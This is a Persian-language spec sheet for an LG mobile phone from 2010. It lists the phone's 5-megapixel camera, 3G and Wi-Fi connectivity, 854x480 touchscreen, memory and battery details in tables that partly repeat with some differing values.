| اسلات کارت حافظه | میکرو SD (ترنس فلش) تا 16 گیگا بایت | |
| دوربین | ||
| دوربین | دارد | |
| کیفیت | 5 مگاپیکسل | |
| ابعاد تصویر | 2592 در 1944 پیکسل | |
| قابلیت فیلم برداری | دارد | |
| فوکوس اتوماتیک | دارد | |
| ارتباطات | ||
| GPRS | Class 10 (4 1/3 2 slots), 32 - 48 kbps | |
| EDGE | Class 10, 236.8 kbps | |
| 3G | HSDPA, 7.2 Mbps; HSUPA, 2 Mbps | |
| شبکه بیسیم | Wi-Fi 802.11 b/g | |
| بلوتوث | دارد | |
| USB | دارد | |
| امکانات | ||
| پیام | SMS(threaded view), MMS, Email, IM | |
| کاوشگر وب | HTML | |
| سرگرمی | دارد | |
| رنگ | مشکی | |
| جاوا | دارد، | |
| باتری | ||
| نوع باتری | باتری استاندارد 1200 میلی آمپر | |
| نواخت | ||
| نوع زنگ | پلی فونیک64کانال / MP3 | |
| لرزه زنگ | دارد | |
فرم ساده به ابعاد 102.1 در 47.8 در 10.5 میلیمتر به همراه 100 مگابایت حافظه داخلی و مجهز به دوربین 5 مگا پیکسل با قابلیت فیلمبرداری، دارای بلوتوث و پورت USB
قیمت این کالا هنوز ارایه نشده است
| ویژگی های عمومی | ||
| سازنده | LG | |
| شبکه | GSM 850 / 900 / 1800 / 1900 | HSDPA 900 / 2100 |
| تاریخ تولید | فوریه 2010 | |
| وضعیت تولید | به زودی عرضه می شود | |
| ابعاد | 102.1 در 47.8 در 10.5 میلیمتر | |
| وزن | 92 گرم | |
| نوع گوشی | ساده | |
| صفحه نمایش | ||
| نوع صفحه نمایش | TFT | |
| ابعاد صفحه نمایش | 854 در 480 پیکسل | |
| صفحه لمسی | تاچ اسکرین | |
| تعداد رنگ | 256k | |
| حافظه | ||
| دفتر تلفن | تا 1000 ورودی | |
| تاریخچه تماس ها | 20 تماس گرفته شده، 20 دریافتی، 20 تماس بدون پاسخ | |
| اسلات کارت حافظه | میکرو SD (ترنس فلش) تا 16 گیگا بایت | |
| دوربین | ||
| دوربین | دارد | |
| کیفیت | 5 مگاپیکسل | |
| ابعاد تصویر | 2592 در 1944 پیکسل | |
| قابلیت فیلم برداری | دارد | |
| فوکوس اتوماتیک | دارد | |
| ارتباطات | ||
| GPRS | Class 10 (4 1/3 2 slots), 32 - 48 kbps | |
| EDGE | Class 10, 236.8 kbps | |
| 3G | HSDPA 7.2 Mbps | |
| شبکه بیسیم | Wi-Fi 802.11 b/g | |
| بلوتوث | دارد | |
| USB | دارد | |
| امکانات | ||
| پیام | WAP 2.0/xHTML, HTML | |
| سرگرمی | دارد | |
| رنگ | مشکی | |
| جاوا | دارد،MIDP 2.1 | |
| باتری | ||
| نوع باتری | باتری استاندارد 900 میلی آمپر | |
| نواخت | ||
| نوع زنگ | پلی فونیک64کانال / MP3 | |
| لرزه زنگ | دارد | |
